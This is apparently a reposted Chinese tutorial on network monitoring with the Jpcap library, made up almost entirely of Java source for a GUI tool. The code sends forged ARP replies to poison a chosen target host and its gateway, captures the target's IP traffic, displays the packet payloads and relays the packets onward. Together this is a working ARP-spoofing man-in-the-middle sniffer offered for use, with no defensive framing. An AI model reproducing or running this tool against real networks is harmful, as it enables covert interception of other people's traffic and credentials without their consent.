如何使用Jpcap 包实现网络监听

[转]

实现的代码如下(这里提供几个重要的类)

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import java.util.Arrays;
import java.net.InetAddress;
import java.net.Inet4Address;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;
import javax.swing.JOptionPane;

public class ARP {

	public static byte[] getTargetMAC(InetAddress targetIp) {
		NetworkInterface[] devices = JpcapCaptor.getDeviceList();
		NetworkInterface device = null;
		// 寻找适合的网络设备
		loop: for (NetworkInterface d : devices) {
			for (NetworkInterfaceAddress addr : d.addresses) {
				if (!(addr.address instanceof Inet4Address))
					continue;
				byte[] bip = targetIp.getAddress();
				byte[] subnet = addr.subnet.getAddress();
				byte[] bif = addr.address.getAddress();
				for (int i = 0; i < 4; i++) {
					bip[i] = (byte) (bip[i] & subnet[i]);
					bif[i] = (byte) (bif[i] & subnet[i]);
				}
				if (Arrays.equals(bip, bif)) {
					device = d;
					break loop;
				}
			}
		}

		if (device == null)
			throw new IllegalArgumentException(targetIp
					+ " is not a local address");
		JpcapCaptor captor = null;
		// 打开一个网络数据包捕捉者
		try {
			captor = JpcapCaptor.openDevice(device, 2000, false, 3000);
			// 只接收ARP数包
			captor.setFilter("arp", true);
		} catch (Exception e) {

		}
		// 获得发送数据包的实例
		JpcapSender sender = captor.getJpcapSenderInstance();
		InetAddress srcip = null;
		for (NetworkInterfaceAddress addr : device.addresses)
			if (addr.address instanceof Inet4Address) {
				srcip = addr.address;
				break;
			}
		// 进行广播数据报的MAC地址
		byte[] broadcast = new byte[] { (byte) 255, (byte) 255, (byte) 255,
				(byte) 255, (byte) 255, (byte) 255 };
		// 构造REQUEST 类型的ARP的数据包
		ARPPacket arp = new ARPPacket();
		arp.hardtype = ARPPacket.HARDTYPE_ETHER;
		arp.prototype = ARPPacket.PROTOTYPE_IP;
		arp.operation = ARPPacket.ARP_REQUEST;
		arp.hlen = 6;
		arp.plen = 4;
		// 源MAC地址
		arp.sender_hardaddr = device.mac_address;
		// 源IP地址
		arp.sender_protoaddr = srcip.getAddress();
		// 目地MAC地址:广播地址全为1(二进制)
		arp.target_hardaddr = broadcast;
		// 目地IP地址
		arp.target_protoaddr = targetIp.getAddress();
		// 构造以太网头部
		EthernetPacket ether = new EthernetPacket();
		ether.frametype = EthernetPacket.ETHERTYPE_ARP;
		ether.src_mac = device.mac_address;
		ether.dst_mac = broadcast;
		// ARP数据包加上以网关头部
		arp.datalink = ether;
		// 向局域网广播ARP请求数据报
		sender.sendPacket(arp);
		// 接收目标主面的答应ARP数据报
		while (true) {
			ARPPacket p = (ARPPacket) captor.getPacket();
			if (p == null) {
				throw new IllegalArgumentException(targetIp + "不是本地局域网的IP号");
			}
			if (Arrays.equals(p.target_protoaddr, srcip.getAddress())) {
				return p.sender_hardaddr;
			}
		}
	}

}
package com.mpabo.yy365.view;

import java.net.InetAddress;
import jpcap.packet.*;
import jpcap.*;

public class TrickerThread extends Thread {

	private String targetIP;

	private String gateWayIP;

	private byte[] targetMAC;

	private byte[] gateWayMAC;

	private ARPPacket targetPacket;

	private ARPPacket gateWayPacket;

	private NetworkInterface device;

	private JpcapSender sender = null;

	public TrickerThread(NetworkInterface device, JpcapSender sender,
			String targetIP, String gateWayIP, byte[] targetMAC,
			byte[] gateWayMAC) {
		this.device = device;
		this.sender = sender;
		this.targetIP = targetIP;
		this.gateWayIP = gateWayIP;
		this.targetMAC = targetMAC;
		this.gateWayMAC = gateWayMAC;

		makePacket();
	}

	public void run() {

		sender.sendPacket(targetPacket);
		sender.sendPacket(gateWayPacket);
		System.out.println("欺骗!!");
		try {
			Thread.sleep(200);
		} catch (Exception e) {
			System.out.println();
		}
	}

	private void makePacket() {

		targetPacket = new ARPPacket();// 发往目标主机的ARP包
		targetPacket.hardtype = ARPPacket.HARDTYPE_ETHER;
		targetPacket.prototype = ARPPacket.PROTOTYPE_IP;
		targetPacket.operation = ARPPacket.ARP_REPLY;// REPLY回复型ARP数据包
		targetPacket.hlen = 6;
		targetPacket.plen = 4;
		targetPacket.sender_hardaddr = device.mac_address;// 源MAC地址
		targetPacket.target_hardaddr = targetMAC;// 目地MAC地址
		try {

			targetPacket.sender_protoaddr = InetAddress.getByName(gateWayIP)
					.getAddress();

			targetPacket.target_protoaddr = InetAddress.getByName(targetIP)
					.getAddress();
		} catch (Exception e) {

		}

		EthernetPacket ether = new EthernetPacket();
		ether.frametype = EthernetPacket.ETHERTYPE_ARP;

		ether.src_mac = device.mac_address;

		ether.dst_mac = targetMAC;

		targetPacket.datalink = ether;

		gateWayPacket = new ARPPacket();// 发往网关的ARP数据报
		gateWayPacket.hardtype = ARPPacket.HARDTYPE_ETHER;
		gateWayPacket.prototype = ARPPacket.PROTOTYPE_IP;
		gateWayPacket.operation = ARPPacket.ARP_REPLY;
		gateWayPacket.hlen = 6;
		gateWayPacket.plen = 4;
		gateWayPacket.sender_hardaddr = device.mac_address;// 源MAC地址
		gateWayPacket.target_hardaddr = gateWayMAC;// 目标MAC地址
		try {

			gateWayPacket.sender_protoaddr = InetAddress.getByName(targetIP)
					.getAddress();

			gateWayPacket.target_protoaddr = InetAddress.getByName(gateWayIP)
					.getAddress();
		} catch (Exception e) {

		}

		ether = new EthernetPacket();
		ether.frametype = EthernetPacket.ETHERTYPE_ARP;
		ether.src_mac = device.mac_address;// 源MAC地址
		ether.dst_mac = gateWayMAC;// 目的MAC地址
		gateWayPacket.datalink = ether;

	}

}
import jpcap.*;
import java.io.*;
import java.net.*;
import jpcap.packet.*;
import javax.swing.table.DefaultTableModel;

public class MinitorAntherHostThread extends Thread {

	private jpcap.NetworkInterface[] devices = null;

	private jpcap.NetworkInterface device = null;

	private JpcapCaptor captor = null;

	private JpcapSender sender = null;

	private byte[] targetMAC;

	private byte[] gateWayMAC;

	private String targetIP;

	private String gateWayIP;

	private DefaultTableModel model;

	public MinitorAntherHostThread(DefaultTableModel model, String targetIP,
			String gateWayIP, byte[] targetMAC, byte[] gateWayMAC) {
		this.model = model;
		this.targetIP = targetIP;
		this.gateWayIP = gateWayIP;
		this.targetMAC = targetMAC;
		this.gateWayMAC = gateWayMAC;
		try {
			initDevice();
		} catch (IOException e) {

		}

	}

	private void initDevice() throws IOException {
		devices = JpcapCaptor.getDeviceList(); // 去除虚拟网卡的处理
		int index = 0;
		if (devices.length > 1)
			index = 1;
		device = devices[index];// 只有一个设备
		captor = JpcapCaptor.openDevice(device, 2000, false, 10000); // 打开与设备的连接
		captor.setFilter("ip", true); // 只监听B的IP数据包
		sender = captor.getJpcapSenderInstance();// 获得发送数据包的实例
	}

	public void run()// 接收数据包并转发
	{
		TrickerThread tricker = new TrickerThread(device, sender, targetIP,
				gateWayIP, targetMAC, gateWayMAC);

		tricker.start();
		IPPacket dataPacket = null;

		while (true) {
			dataPacket = (IPPacket) captor.getPacket();
			if (dataPacket != null) {
				System.out.println(dataPacket);
				Object[] data = { "", "", "", "" };
				if (dataPacket.src_ip.getHostAddress().equals(targetIP)) {
					data[0] = "发送";
					data[1] = dataPacket.getClass().getName();
					data[2] = dataPacket;
					StringBuffer buffer = new StringBuffer();
					for (Byte a : dataPacket.data) {
						buffer.append(Byte.toString(a));
					}
					data[3] = new String(buffer);
					model.addRow(data);// 显不数据包

					send(dataPacket, gateWayMAC);
					System.out.println(dataPacket);
				} else if (dataPacket.dst_ip.getHostAddress().equals(targetIP)) {
					data[0] = "接收";
					data[2] = dataPacket;
					StringBuffer buffer = new StringBuffer();
					for (Byte a : dataPacket.data) {
						buffer.append(Byte.toString(a));
					}
					data[3] = new String(buffer);
					model.addRow(data);// 显不数据包

					send(dataPacket, targetMAC);
					System.out.println(dataPacket);
				}

			}

		}
	}

	private void send(Packet packet, byte[] changeMAC) {
		EthernetPacket eth;
		if (packet.datalink instanceof EthernetPacket) {
			eth = (EthernetPacket) packet.datalink;
			for (int i = 0; i < 6; i++) {
				eth.dst_mac[i] = changeMAC[i]; // 修改包以太头,改变包的目标
				eth.src_mac[i] = device.mac_address[i]; // 源发送者为A
			}
			sender.sendPacket(packet);
		}
	}
}
import javax.swing.JLabel;
import javax.swing.JTable;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.JCheckBox;
import java.net.InetAddress;
import java.awt.BorderLayout;
import javax.swing.JScrollPane;
import java.awt.event.MouseEvent;
import javax.swing.BorderFactory;
import java.awt.event.MouseAdapter;
import java.awt.event.ActionListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.DefaultTableModel;

public class MinitorAntherHostPane extends JPanel {
	private JButton initButton;
	private JButton startButton;
	private JButton stopButton;
	private JButton endButton;
	private JPanel operatePane;
	private JTable showPackage;
	private DefaultTableModel model;
	private JScrollPane showPane;
	private JPanel northPane;
	private JLabel label;
	private JLabel label2;
	private JLabel label3;
	private JLabel label4;
	private JTextField textField;
	private JTextField textField2;
	private JTextField textField3;
	private JTextField textField4;
	private JButton arpButton;
	private String targetIp;
	private String gateWayIp;
	private byte[] targetMac;
	private byte[] gateWayMac;
	private MinitorAntherHostThread minitor;

	public MinitorAntherHostPane() {
		Object[][] data = { {} };
		Object[] title = { "监听类型", "数据包类型", "数据包通信信息", "数据包的数据" };
		model = new DefaultTableModel(data, title);
		showPackage = new JTable(model);
		showPackage.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
		showPane = new JScrollPane(showPackage);
		showPane.setBorder(BorderFactory.createTitledBorder("监听的数据包列表"));

		initButton = new JButton("开始监听");
		initButton.addMouseListener(new MouseAdapter() {
			public void mouseClicked(MouseEvent e) {
				initButton.setEnabled(false);
				stopButton.setEnabled(true);
				MinitorAntherHostThread minitor = new MinitorAntherHostThread(
						model, targetIp, gateWayIp, targetMac, gateWayMac);
				minitor.start();
			}
		});
		startButton = new JButton("继续监听");
		startButton.setEnabled(false);
		startButton.addMouseListener(new MouseAdapter() {
			public void mouseClicked(MouseEvent e) {
				stopButton.setEnabled(true);
				endButton.setEnabled(false);
				minitor.resume();
			}
		});
		stopButton = new JButton("暂停监听");
		stopButton.setEnabled(false);
		stopButton.addMouseListener(new MouseAdapter() {
			public void mouseClicked(MouseEvent e) {
				stopButton.setEnabled(false);
				startButton.setEnabled(true);
				endButton.setEnabled(true);
				minitor.suspend();

			}
		});
		endButton = new JButton("终止监听");
		endButton.setEnabled(false);
		endButton.addMouseListener(new MouseAdapter() {
			public void mouseClicked(MouseEvent e) {
				initButton.setEnabled(true);
				startButton.setEnabled(false);
				stopButton.setEnabled(false);
				endButton.setEnabled(false);
				try {
					minitor.destroy();
				} catch (Exception ex) {

				}

			}
		});
		operatePane = new JPanel();
		operatePane.add(initButton);
		operatePane.add(startButton);
		operatePane.add(stopButton);
		operatePane.add(endButton);
		operatePane.setBorder(BorderFactory.createTitledBorder("操作选项"));

		label = new JLabel("目标主机的IP地址:");
		textField = new JTextField(9);
		arpButton = new JButton("解析MAC地址");
		arpButton.addMouseListener(new MouseAdapter() {
			public void mouseClicked(MouseEvent e) {
				if (textField.getText().equals("")) {

				} else {
					try {
						targetIp = textField.getText();
						targetMac = ARP.getTargetMAC(InetAddress
								.getByName(targetIp));
					} catch (Exception ex) {

					}
					StringBuffer buffer = new StringBuffer();
					for (byte b : targetMac)
						buffer.append(Integer.toHexString(b & 0xff) + ":");
					textField2.setText(new String(buffer));

					try {
						gateWayIp = textField3.getText();
						gateWayMac = ARP.getTargetMAC(InetAddress
								.getByName(gateWayIp));
					} catch (Exception ex) {

					}
					buffer = new StringBuffer();
					for (byte b : gateWayMac)
						buffer.append(Integer.toHexString(b & 0xff) + ":");
					textField4.setText(new String(buffer));
				}
			}
		});
		label2 = new JLabel("目标主机MAC地址:");
		textField2 = new JTextField(9);
		label3 = new JLabel("网关IP地址:");
		textField3 = new JTextField(9);
		label4 = new JLabel("网关MAC地址:");
		textField4 = new JTextField(9);
		northPane = new JPanel(new FlowLayout(FlowLayout.LEFT));
		northPane.add(label3);
		northPane.add(textField3);
		northPane.add(label);
		northPane.add(textField);
		northPane.add(arpButton);
		northPane.add(label4);
		northPane.add(textField4);
		northPane.add(label2);
		northPane.add(textField2);
		setLayout(new BorderLayout());
		add(northPane, BorderLayout.NORTH);
		add(showPane, BorderLayout.CENTER);
		add(operatePane, BorderLayout.SOUTH);
	}

}